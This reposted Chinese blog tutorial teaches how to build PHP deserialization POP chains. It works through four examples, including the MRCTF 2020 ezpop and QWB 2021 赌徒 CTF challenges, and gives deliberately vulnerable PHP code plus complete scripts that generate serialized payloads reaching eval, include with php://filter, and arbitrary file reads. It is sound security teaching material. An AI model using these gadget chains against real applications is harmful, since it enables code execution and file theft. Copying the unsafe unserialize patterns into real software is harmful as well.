php反序列化——pop链实战

转载自:https://arsenetang.github.io/2021/08/17/反序列化篇之pop链的构造(下)/

php反序列化详解参考:https://www.cnblogs.com/pursue-security/p/15291087.html

php反序列化之魔法函数详解:https://www.cnblogs.com/pursue-security/p/15291121.html

本文主要是通过一些实例来学习pop链的构造

实例一

一般来说,出现php反序列化漏洞是因为有写的不安全的魔术方法,因为魔术方法会自动调用,那我们就可以构造恶意的exp来触发它,但有的时候如果出现漏洞的代码不在魔术方法中,而是只在一个普通方法中,那我们怎么利用呢?这时候我们可以寻找魔术方法中是否调用了同名的函数,然后通过相同的函数名将类的属性和魔术方法中的属性联系起来

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

比如说上面这个例子,危险函数应该是evil类中的action方法,里面有个eval,但action方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test类中的__destruct()调用了action方法,但在__construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil类的对象,那它自然调用的就是evil类中的action方法了,有了思路下面就来构造:

<?php
class test {
    protected $ClassObj;
}
class evil {
    private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本来构造出来应该是这样,创建一个evil类的对象然后把它赋值给ClassObj属性,但这里这样写不行,因为ClassObj属性是protected属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()来完成这个操作:

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

 

 例题二

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:先找链子的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell,然后往上倒推,Uwant类中的__get()中调用了getshellShow类中的toString调用了__get(),然后Hello类中的__destruct(),而我们GET传参之后会先进入__destruct(),这样子头和尾就连上了,所以说完整的链子就是:

头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至于魔术方法具体是怎么调用的这就不讲了,请看上一篇文章,这儿就简单提一下,在Hello类中我们要把$this->str赋值成对象,下面echo出来才能调用Show类中的__toString(),然后再把Show类中的$this->str['str']赋值成对象,来调用Uwant类中的__get()

<?php
class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

 

 例题三——2020 mrctf ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了,如下图(来自LTLT):

 

 头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

?>

 

 然后base64解码

 

 例题四——2021 强网杯 赌徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

 

分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了

有了思路我们就直接开始构造,一般找思路我们是从尾到头,而构造则是直接从头到尾

头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint() 

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

 

 成功打通,注意要把前面的hi去掉再进行base64编码才能得到flag。

posted @ 2021-10-16 15:48  学安全的小白  阅读(1990)  评论(0编辑  收藏  举报